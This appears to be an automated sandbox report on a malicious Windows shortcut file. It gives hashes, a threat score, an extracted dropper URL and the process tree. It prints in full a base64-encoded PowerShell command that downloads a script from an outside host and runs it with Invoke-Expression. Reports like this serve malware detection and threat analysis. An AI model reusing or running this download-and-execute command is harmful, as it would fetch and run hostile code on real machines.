ba325f828378c1733044f3022d73d770e2a8e81aeb01605b13866de7e722075d

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06-03-2024 12:56

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General

Target

IN_20552055 CP_20552055 D2055.lnk
Size

10KB
MD5

93562b0626c4db0640dff594fdc44efc
SHA1

33d9effa67cae9726124a3432e6913c324b8b716
SHA256

a1739e001e0720341f14466231a21bd12a74485dab59b0f4fde7f931467cb4b2
SHA512

edf748587ae68606935b495db2c78f9fe4e3198e69bcc7052fca66a14ff148f3aad5530688a715f4c9881783065b81951ccf4201e1f258f8f805eb6eee1e4c98
SSDEEP

192:815xsY5jfxXWCBdMNi8L2+6gJuOLdFbi6ppeaHRz2ywmc2sm9Wt:w5Tfxb2ioggJuAr1waHRz2nrgo

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cprismenergia.pt/open.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2784	powershell.exe
4	2784	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 2784	2628	cmd.exe	29
PID 2628 wrote to memory of 2784	2628	cmd.exe	29
PID 2628 wrote to memory of 2784	2628	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\IN_20552055 CP_20552055 D2055.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AYwBwAHIAaQBzAG0AZQBuAGUAcgBnAGkAYQAuAHAAdAAvAG8AcABlAG4ALgB0AHgAdAAnACkAIAB8ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2784-38-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-40-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2784-39-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2784-41-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/2784-42-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2784-43-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2784-44-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2784-45-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-46-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download